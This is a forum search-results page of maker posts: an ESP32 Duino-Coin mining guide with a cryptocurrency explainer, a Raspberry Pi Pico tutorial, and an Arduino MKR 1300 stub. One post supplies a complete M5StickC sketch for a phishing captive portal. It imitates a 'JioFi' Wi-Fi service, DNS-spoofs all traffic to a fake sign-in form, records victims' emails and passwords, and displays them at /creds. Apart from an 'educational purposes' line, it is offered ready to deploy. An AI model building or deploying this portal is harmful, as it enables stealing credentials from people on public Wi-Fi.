Search the Community
Showing results for tags 'arduino ide'.
-
Cryptocurrency: A New Era of Money Money is one of the most important inventions in human history. It is a medium of exchange, a store of value, and a unit of account. Money enables trade, commerce, and economic growth. However, money also has its limitations and challenges. For example, money can be counterfeited, stolen, or inflated. To overcome these problems, some people have invented a new form of money: cryptocurrency. Cryptocurrency is a type of digital currency that uses cryptography to secure and verify transactions. Cryptocurrency is decentralized, meaning that it is not controlled by any central authority or government. Cryptocurrency transactions are recorded on a distributed ledger called a blockchain, which ensures transparency and immutability. Some examples of cryptocurrencies are: Bitcoin: The first and most popular cryptocurrency, created in 2009 by an anonymous person or group using the pseudonym Satoshi Nakamoto. Bitcoin has a limited supply of 21 million coins and uses a proof-of-work algorithm to validate transactions and create new blocks. Ethereum: A platform that allows developers to create decentralized applications (dApps) and smart contracts using its native cryptocurrency, ether. Ethereum uses a proof-of-stake algorithm to secure its network and enable faster transactions. Cryptocurrencies have many advantages over traditional money. They are: Secure: Cryptocurrencies use cryptography to protect transactions from fraud and hacking. Cryptocurrencies also have no single point of failure, as they are distributed across many nodes on the network. Transparent: Cryptocurrencies allow anyone to view the history and details of every transaction on the blockchain. Cryptocurrencies also have no hidden fees or charges, as they are based on peer-to-peer transactions. Inclusive: Cryptocurrencies enable anyone with an internet connection and a digital wallet to access the global financial system. Cryptocurrencies also have no barriers to entry or discrimination, as they are open to anyone regardless of their identity or location. Innovative: Cryptocurrencies foster innovation and creativity, as they allow developers to create new applications and services using blockchain technology. Cryptocurrencies also have the potential to disrupt various industries and sectors, such as banking, e-commerce, healthcare, education, and more. Cryptocurrencies are not without challenges and risks, however. They are: Volatile: Cryptocurrencies are subject to high price fluctuations due to supply and demand dynamics, market sentiment, regulatory uncertainty, and technical issues. Cryptocurrencies can also be affected by external factors, such as geopolitical events, cyberattacks, media coverage, and public opinion. Complex: Cryptocurrencies require a steep learning curve for users to understand how they work and how to use them safely and effectively. Cryptocurrencies also involve technical jargon and concepts that may be confusing or intimidating for beginners. Unregulated: Cryptocurrencies operate in a legal gray area, as they are not recognized or regulated by most governments and authorities. Cryptocurrencies may face legal restrictions or bans in some areas, which may limit their adoption and usage. Cryptocurrencies may also pose ethical and social issues, such as tax evasion, money laundering, terrorism financing, and environmental impact. Cryptocurrency is a new era of money that offers many opportunities and challenges for the future. Cryptocurrency is not just a technology or a currency; it is a social phenomenon that reflects the values and aspirations of its users. Cryptocurrency is not perfect or flawless; it is an experiment that evolves and improves over time. Cryptocurrency is not for everyone or everything; it is a choice that depends on one’s preferences and needs. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Crypto mining: It is the process of creating new units of cryptocurrency by solving complex mathematical problems. Crypto mining is essential for securing and verifying transactions on the blockchain, which is a distributed ledger that records the history and details of every transaction. Crypto mining also rewards miners with newly minted coins, which increases the supply and circulation of cryptocurrency. There are several types of crypto mining, depending on the algorithm and consensus mechanism used by the cryptocurrency network. The most common type is proof-of-work (PoW) mining, which requires miners to use their computing power to compete to find the solution to a cryptographic puzzle. The first miner who solves the puzzle gets to add a new block to the blockchain and claim the block reward. Some examples of cryptocurrencies that use PoW mining are Bitcoin, Ethereum, Litecoin, and Monero. Another type of crypto mining is proof-of-stake (PoS) mining, which requires miners to stake a certain number of coins to participate in the validation process. PoS mining does not involve solving puzzles but rather selecting validators based on their stake and other factors. Validators then take turns to propose and confirm new blocks and receive rewards based on their stake and performance. Some examples of cryptocurrencies that use PoS mining are Cardano, Polkadot, Binance Coin, and Tezos. Crypto mining can be profitable or unprofitable, depending on several factors such as the price of the cryptocurrency, the difficulty of the mining algorithm, the cost of electricity and hardware, and the competition from other miners. Crypto mining can also have environmental and social impacts, such as energy consumption, carbon emissions, waste generation, noise pollution, and regulatory issues. If you want to mine cryptocurrency, you will need some specialized hardware that can perform complex calculations and consume a lot of electricity. There are several types of hardware for mining different cryptocurrencies, but the most common ones are ASIC (application-specific integrated circuit) devices, which are designed to mine a specific algorithm or coin. Some of the best ASIC devices for mining cryptocurrency in 2023 are: Antminer S19 Pro: This is one of the most powerful and efficient Bitcoin mining hardware, with a hash rate of 110 TH/s and a power consumption of 3,250 W. WhatsMiner M30S++: This is another top Bitcoin mining hardware, with a hash rate of 112 TH/s and a power consumption of 3,472 W. AvalonMiner 1246: This is heavy-duty Bitcoin mining hardware, with a hash rate of 90 TH/s and a power consumption of 3,420 W. WhatsMiner M32-62T: This is a new Bitcoin mining hardware, with a hash rate of 62 TH/s and a power consumption of 3,360 W. You can see these are some of the high-power and costly miners, also their power consumption is extremely high. In this tutorial, you will see how to mine crypto with low-power ESP32 microcontrollers. Duco Coin: A Simple and Eco-Friendly Crypto Coin Duco coin is a unique crypto coin that can be mined using low-powered devices, such as Arduino boards, ESP32, Raspberry Pi, and even old computers. Duco coin aims to provide a simple, accessible, and eco-friendly way of participating in the crypto world, without the need for expensive and energy-intensive hardware. Duco coin uses its own blockchain and consensus algorithm, called DUCO-S1, which is based on SHA-1. DUCO-S1 is designed to be fast, secure, and adaptable to different devices and mining methods. Duco coin also uses a reward system called theKolka system, which adjusts the mining difficulty and rewards based on the device’s performance and network conditions. The Kolka system ensures that low-powered devices have a fair chance of earning coins while preventing abuse and spam. The Duco coin has an infinite supply of coins, but it also has a burning mechanism that reduces circulation by destroying some coins every time a transaction is made. This creates a balance between inflation and deflation and maintains the value of the coin. The Duco coin also has no transaction fees, as the miners are rewarded by the Kolka system. The Duco coin is a crypto coin that offers many advantages over traditional coins. It is: Simple: Duco coin is easy to mine, use, and understand. It does not require any complex setup or configuration. It also has a user-friendly web wallet and a mobile app that allows users to manage their funds and transactions. Eco-friendly: Duco coin is environmentally friendly, as it uses low-powered devices that consume minimal electricity and generate less heat and noise. It also reduces electronic waste by giving new life to old devices. Inclusive: Duco coin is inclusive, as it enables anyone with an internet connection and a cheap device to join the crypto world. It also has no barriers to entry or discrimination, as it is open to anyone regardless of their identity or location. Innovative: Duco coin is innovative, as it fosters creativity and experimentation among its users and developers. It also has the potential to disrupt various industries and sectors, such as education, gaming, IoT, and more. Duco coin is a new era of crypto coin that offers simplicity, sustainability, accessibility, and diversity. Duco coin is not just a technology or a currency; it is a community that shares the same vision and values. How to mine Duco coin with ESP32: To mine Duco coin with ESP32, you will need the following steps: Step 1: Register an account on the Duino-Coin website and create a wallet. You will need your username and wallet address for mining. Step 2: Download and install the Arduino IDE and the ESP32 board support package. You will also need to install some libraries, such as WiFiClientSecure, ArduinoJson, and DHT (if you want to use a DHT sensor). Step 3: Download the Duino-Coin ESP32 code from GitHub and open it in the Arduino IDE. Edit the code to enter your Wi-Fi name, password, username, and mining key (if you enabled it in the wallet). You can also change the rig identifier and the LED pin if you want. Step 4: Connect your ESP32 board to your computer via a USB cable and select the correct port and board settings in the Arduino IDE. Upload the code to your ESP32 board and wait for it to connect to the Duino-Coin server. Step 5: You can monitor your mining status and earnings on the Duino-Coin web wallet or the mobile app. You can also use the serial monitor in the Arduino IDE to see the debug messages from your ESP32 board. That’s it! You are now mining Duco coin with your ESP32 board. You can also use multiple ESP32 boards or other devices, such as Arduino, Raspberry Pi, or PC, to increase your hash rate and earnings. However, be aware of the Kolka system, which adjusts the mining difficulty and rewards based on your device’s performance and network conditions.
- 1 reply
-
- cryptocurrency
- esp32
-
(and 3 more)
Tagged with:
-
Will guide you to build a Captive Portal with M5Stick C to capture the login details. Story A Wi-Fi honeypot is a fake wireless network that is set up to lure unsuspecting users and collect their data or infect their devices with malware. It is a common technique used by hackers and cybercriminals to exploit the public’s demand for free Wi-Fi access. In this tutorial, will guide you to build a Wi-Fi honeypot with M5Stick C. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Hardware Overview - M5Stick 😄 M5StickC is a mini IoT development board powered by ESP32, a microcontroller with Wi-Fi and Bluetooth capabilities. It is a portable, easy-to-use, open-source device that can help you realize your ideas, enhance your creativity, and speed up your IoT prototyping. It has a 0.96-inch TFT color screen, a red LED, a button, a microphone, an IR transmitter, a 6-axis IMU, and a 95 mAh battery. It also supports various extensions and modules that can add more functionality to the board. You can program it using different platforms such as UIFlow, MicroPython, Arduino, or .NET nano Framework. Arduino Sketch Overview: Here is the complete Arduino sketch to initiate the Wi-Fi honeypot in the M5Stick C, it will create a free access point and once the user is connected to the access point it will ask for the user credentials. Once we get the credentials it will blink the LED and alert us. Also, we can view the captured passwords via the same access point. Here are the main Wi-Fi AP configurations, you can configure as per your need. Once the victim logged the credentials, this function will start to work. Here is the complete Arduino sketch. #include <M5StickC.h> #include <WiFi.h> #include <DNSServer.h> #include <WebServer.h> // User configuration #define SSID_NAME "JioFi L3M378" #define SUBTITLE "JioFi WiFi service." #define TITLE "Sign in:" #define BODY "Create an account to get connected to the internet." #define POST_TITLE "Validating..." #define POST_BODY "Your account is being validated. Please, wait up to 5 minutes for device connection.</br>Thank you." #define PASS_TITLE "Credentials" #define CLEAR_TITLE "Cleared" int capcount=0; int BUILTIN_LED = 10; // Init System Settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(172, 0, 0, 1); // Gateway String Credentials = ""; unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0; DNSServer dnsServer; WebServer webServer(80); String input(String argName) { String a = webServer.arg(argName); a.replace("<", "<"); a.replace(">", ">"); a.substring(0, 200); return a; } String footer() { return "</div><div class=q><a>© All rights reserved.</a></div>"; } String header(String t) { String a = String(SSID_NAME); String CSS = "article { background: #f2f2f2; padding: 1.3em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " "textarea { width: 100%; }"; String h = "<!DOCTYPE html><html>" "<head><title>" + a + " :: " + t + "</title>" "<meta name=viewport content=\"width=device-width,initial-scale=1\">" "<style>" + CSS + "</style></head>" "<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>"; return h; } String creds() { return header(PASS_TITLE) + "<ol>" + Credentials + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer(); } String index() { return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post>" + "<b>Email:</b> <center><input type=text autocomplete=email name=email></input></center>" + "<b>Password:</b> <center><input type=password name=password></input><input type=submit value=\"Sign in\"></form></center>" + footer(); } String posted() { String email = input("email"); String password = input("password"); Credentials = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + Credentials; return header(POST_TITLE) + POST_BODY + footer(); } String clear() { String email = "<p></p>"; String password = "<p></p>"; Credentials = "<p></p>"; return header(CLEAR_TITLE) + "<div><p>The credentials list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer(); } void BLINK() { // The internal LED will blink 5 times when a password is received. int count = 0; while (count < 5) { digitalWrite(BUILTIN_LED, LOW); delay(500); digitalWrite(BUILTIN_LED, HIGH); delay(500); count = count + 1; } } void setup() { M5.begin(); M5.Lcd.setRotation(3); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); bootTime = lastActivity = millis(); WiFi.mode(WIFI_AP); WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); WiFi.softAP(SSID_NAME); dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP) webServer.on("/post", []() { capcount=capcount+1; webServer.send(HTTP_CODE, "text/html", posted()); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 45); M5.Lcd.print("status: "); M5.Lcd.print("Victim In"); BLINK(); M5.Lcd.fillScreen(BLACK); }); webServer.on("/creds", []() { webServer.send(HTTP_CODE, "text/html", creds()); }); webServer.on("/clear", []() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity = millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin(); pinMode(BUILTIN_LED, OUTPUT); digitalWrite(BUILTIN_LED, HIGH); } void loop() { if ((millis() - lastTick) > TICK_TIMER) { lastTick = millis(); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); } dnsServer.processNextRequest(); webServer.handleClient(); } Deployment: Once the code is uploaded in the M5Stick C, it will show up the IP address and the victim count. then, look for the free Wi-Fi AP that we have created. Next, let's try to connect that. Once connected it will redirect you to the login page. Login page: Next, try to sign in with some credentials. 1 / 2 Here is the M5Stick C's response: If you want to see the captured passwords, open the same URL with /creds at the end. It will show all the captured passwords. If you want to clear the saved credentials, navigate to the same URL with /clear at the end. That's all, please use this only for educational purposes.
-
Couple of months ago, I bought a "Raspberry Pi Pico" to get some hands-on experience of it and to create some amazing projects using it. But since then, it has just been sitting on my desk, collecting dust. Today after a very long wait, I finally have decided to create a short video tutorial to show you guys how to get started with the Raspberry Pi Pico. Topics Covered In this tutorial, I am going to discuss: 1. What is a Raspberry Pi Pico? 2. The technical specifications of the board 3. How to program Pico using C/C++ and MicroPython a. Programming Raspberry Pi Pico using "Arduino IDE" i. Preparing the Arduino IDE ii. Loading the Blink Example iii. Demo b. Programming Raspberry Pi Pico using "Tonny Python IDE" i. Installing MicroPython on Pico ii. Installing Tonny Python IDE iii. Loading the Blink Example iv. Demo 4. Difference between Raspberry Pi Pico and Arduino 5. Advantages and Disadvantages of this board What is Raspberry Pi Pico? Raspberry Pi Pico is a low-cost microcontroller. It can be used to control other electronic modules and sensors same as any other microcontroller. Pico is not a Linux single board computer, rather it is a microcontroller like Arduino. Since, its a microcontroller it doesn't come with all the overheads that a computer brings and hence consumes much less current. actually it is more like Arduino than Raspberry Pi. Pico is not a rival of Raspberry Pi Zero, it actually can work in conjunction with the regular Pi's. Pico is breadboard friendly and has 40 GPIO pins operating at 3.3v (20 on each side). It has a Dual-Core ARM Cortex M0+ processor. Pico's brain - the RP2040 microcontroller chip is designed by Raspberry Pi in United Kingdom. It can be powered either via the micro USB port, or via the VSYS GPIO pin by providing voltage between the range of 1.8V to 5.5V. Technical Specifications of Pico Raspberry Pi Pico is absolutely different from all other Raspberry Pi models. Pico is one of the first microcontrollers to use the RP2040 "Pi Silicon" processor. It is a custom "System on Chip" (SoC) developed by the Raspberry Pi team in UK which features a dual core Arm Cortex M0+ processor running at 133 MHz, 264KB of SRAM and 2MB of flash memory for storing files on it. Specifications: - Microcontroller: RP2040 designed by Raspberry Pi in the UK - Processor: Dual-Core Arm Cortex-M0+ processor, flexible clock running up to 133 MHz - Input power: 1.8 - 5.5 V DC - Operating temperature: -20°C to +85°C - Dimensions: 51.0 x 21.0 mm - Onboard Sensors: Temperature Sensor - Memory: 264KB of on-chip internal SRAM and can support up to 16MB of off-chip Flash 2MB on-board QSPI Flash (Adafruit's Feather RP2040, features 16MB of storage) - GPIO: It has 40 GPIO through-hole pins also with edge castellation - 26 × multi-function 3.3V GPIO pins, which includes 3 analogue inputs (The Analog inputs is something other Raspberry Pi's lack. They use variable voltages to connect to devices like a potentiometers, joystick or a LDR) - 2 × SPI, 2 × I2C, 2 × UART, 3 × 12-bit ADC, 16 × controllable PWM channels - 8 × Programmable I/O (PIO) state machines for custom peripheral support that can offload many kinds of timing-critical processes from the CPU - Other Features: - 1 × Contains 1 × USB 1.1 controller and PHY, with host and device support - Accurate clock and timer on-chip - Low-Power sleep and dormant modes - Accelerated integer and floating-point libraries on-chip - Works with Windows, Mac, Linux machines and Raspberry Pi Computers - Provides drag-and-drop programming using mass storage over USB The one biggest disadvantage of the Raspberry Pi Pico is that there is no WiFi or Bluetooth on it. ESP32 and ESP8266 which you can buy for similar price comes with WiFi and Bluetooth (ESP32). Surely we can add wireless connectivity via external components, however that would require a little bit more knowledge and experience to get it working. Since Pico is not a computer, we need to write our codes on a different machine using an external application and then "flash" the code onto the microcontroller over USB. Pinout Diagram: Here is the top view of the pinouts on the Raspberry Pi Pico. The pin-labels are on the bottom side of the board. How to program Pico using C/C++ and MicroPython Pi Foundation officially supports MicroPython and C/C++, however high-level programming language like CircuitPython (A fork of MicroPython created by Adafruit), and Drag and Drop Python Editor like Pico Piper which adds further enhancements and can be used to program the Pico boards. Programming Raspberry Pi Pico using Arduino IDE Python and C/C++ are both great for programming Picos. However, being able to program a Pico just like an Arduino would help us to integrate the Pico into the Arduino ecosystem. One of the best reasons to do this is because of the availability of libraries to integration of modules, sensors, and other complex stuff without having to write the entire code from scratch. i. Preparing the Arduino IDE To start, let go to Tools > Boards > Boards Manager and search for "Pico", select "Arduino Mbed OS RP2040 Boards" and hit the install button. Connect the micro USB cable to the Pico and then press and hold the "BOOTSEL" button before plugging the USB cable into the computer. Release BOOTSEL once the drive RPI-RP2 appears on your computer. Now, go to Tools > Port and you will now be able to see the number of the COM Port. ii. Loading the Blink Example Go to Files > Examples > Basics > Blink and click on Upload, this will load the code to the Pico board. iii. Demo After the IDE finished uploading the code, you will see the Pico's onboard LED blinking. You can now use your Pico like an Arduino and program it using the Arduino IDE. Programming Raspberry Pi Pico using Tonny Python IDE You can program your Pico using MicroPython by connecting it to a computer via USB and then dragging and dropping files to it. i. Installing MicroPython on Pico Installation of MicroPython on Pico requires a "UF2" file to be copied onto it. A UF2 file is a "binary data file" which contains a program that can be transferred from a PC to a microcontroller, such as an Arduino or Pico circuit board. To load MicroPython on Pico: 1. Download "MicroPython UF2 file" from the link provided in the description below. 2. Connect the micro USB cable to the Pico and then press and hold the "BOOTSEL" button before plugging the USB cable into the computer. Release BOOTSEL once the drive RPI-RP2 appears on your computer. 3. Drag and drop the UF2 file onto the RPI-RP2 volume. 4. Your Pico will reboot. That's it, you are now running MicroPython on your Pico. ii. Installing Tonny Python IDE To write code and save files to Pico we are going to use the "Thonny Python IDE". Thonny comes with built-in Python 3.7, so just one simple installer is what you need to learn programming. To get started: 1. Download and install "Thonny" free from the Thonny website for your version of OS. The website's link is in the description below. Note: If you are running "Raspberry Pi OS" then Thonny is already installed on it, but may need to update it to the latest version sudo apt update && sudo apt upgrade -y 2. Connect the Raspberry Pi Pico to your computer. Then, in Thonny go to Tools > Options and click on the "Interpreter" tab. From the interpreter dropdown list select "MicroPython (Raspberry Pi Pico)". The port dropdown menu can be left to "automatically detect the Pico". Click "OK" to close. 3. A Python Shell called "REPL" (Read, Eval, Print, Loop) will popup to show that the Pico is connected and working. iii. Loading the Blink Example 1. Click in the main editor pane of Thonny and enter the following code to toggle the onboard LED. from machine import Pin, Timer led = Pin(25, Pin.OUT) timer = Timer() def blink(timer): led.toggle() timer.init(freq=2.5, mode=Timer.PERIODIC, callback=blink) 2. Click the "Run" button to execute the code. 3. Thonny will ask whether you want to save the file on "This computer" or the "MicroPython device". Choose "MicroPython device". Enter "blink.py" as the file name. Make sure you enter ".py" as the file extension so that Thonny recognizes it as a Python file. iv. Demo You should now see the onboard LED switching between on and off until you click the Stop button. Difference between Raspberry Pi Pico and Arduino * Before Raspberry Pi Pico, Raspberry Pi has always been know for their single board computers. However, in 2021 Raspberry Pi Foundation stepped a few steps forward and launched the Raspberry Pi Pico giving a head-to-head challenge to Arduino and all other board based microcontrollers. * Arduino was first introduced in 2005 and since then Millions of Arduino Units have been sold in the market. Compared to that, the response Pico received after its initial launch in 2021 is absolutely mind-blowing. * Both units are made for automating applications that don’t involve human intervention. * Pico can be used alone or in combination with Arduino for Automation and AI purposes. * Both modules are different in terms of power consumption, value, functionality, and price. * Pico boards come unsoldered however Arduino comes pre-soldered or unsoldered. * Pico module supports MicroPython and C/C++, while Arduino codes are written in C/C++ using Arduino.IDE. So which one to go for… Pico or Arduino? Advantages and Disadvantages Now lets have a look at the Pros and Cons of this microcontroller board. Advantages: * Raspberry Pi Pico is cheap, very small, and easy to use microcontroller * Pico is a dual core device coupled to a high-performance bus matrix, which means its both cores can give you the full performance concurrently * Pico consumes very low power * Pico is a breadboard friendly * Pico can be programmed using C/C++ and MicroPython * Pico can be programmed using Arduino IDE * Pico has 26 × multi-function 3.3V GPIO pins (23 Digital + 3 Analogue) * Pico comes with 8 x Programmable IO (PIO) and 2 x Analog Inputs * Pico boots quickly and doesn’t require a safe shutdown Disadvantages: * Pico completely lacks WiFi and Bluetooth without any add-ons * It lacks the GPIO markings on the top side of the board * The board comes unsoldered so you will have to solder the header pins or surface mount it to use it in your project * GPIO pins are 3.3V, which could be seen as a disadvantage, however devises designed for 5V can still be used with 3V via a voltage divider or a logic level converter. * Pico still uses micro-USB port. While many other microcontrollers have moved to USB-C, Pico is still coming with the micro-USB port If you have a Windows, Apple, Linux or even a Raspberry Pi, then you are already well in your way to program the small, cute, and gorgeous Raspberry Pi Pico in your next project. I bet, there must be a lot of project ideas going in your mind, so get your supplies and start coding. And, what are you waiting for??? Thanks Thanks again for checking my post. I hope it helps you. If you want to support me subscribe to my YouTube Channel: https://www.youtube.com/user/tarantula3 Blog Posts: https://diyfactory007.blogspot.com/2022/01/getting-started-with-raspberry-pi-pico.html Video: https://youtu.be/vO_2XWJDF70 Other Resources: RP2040 Datasheet : https://datasheets.raspberrypi.com/rp2040/rp2040-datasheet.pdf Hardware design with RP2040 : https://datasheets.raspberrypi.com/rp2040/hardware-design-with-rp2040.pdf Raspberry Pi Pico Datasheet : https://datasheets.raspberrypi.com/pico/pico-datasheet.pdf Getting started with Raspberry Pi Pico : https://datasheets.raspberrypi.com/pico/getting-started-with-pico.pdf MicroPython UF2 : https://micropython.org/download/rp2-pico/rp2-pico-latest.uf2 Thonny website : https://thonny.org/ Piper Make: https://make.playpiper.com/ CircuitPython 7.1.0: https://circuitpython.org/board/raspberry_pi_pico/ Support My Work: BTC: 1M1PdxVxSTPLoMK91XnvEPksVuAa4J4dDp LTC: MQFkVkWimYngMwp5SMuSbMP4ADStjysstm DOGE: DDe7Fws24zf7acZevoT8uERnmisiHwR5st ETH: 0x939aa4e13ecb4b46663c8017986abc0d204cde60 BAT: 0x939aa4e13ecb4b46663c8017986abc0d204cde60 LBC: bZ8ANEJFsd2MNFfpoxBhtFNPboh7PmD7M2 Thanks, ca again in my next tutorial.
-
- raspberry pi pico
- raspberry pi
- (and 9 more)
-
arduino HOW TO SETUP THE ARDUINO MKR 1300
Enrg Tech posted a topic in Electronic Projects Design/Ideas
The Arduino MKR 1300 comes equipped with the ATMEL SAMD21 bridged with a LoRa module thus allowing for remote IoT applications for instance mining, off-shore rigs, and farms. It has been designed to integrate SAMD21’s low power consumption and high performance while maintaining Arduino’s ease of use. HOW TO SETUP THE ARDUINO MKR 1300.docx- 1 reply
-
- arduino samd boards
- arduino ide
-
(and 1 more)
Tagged with: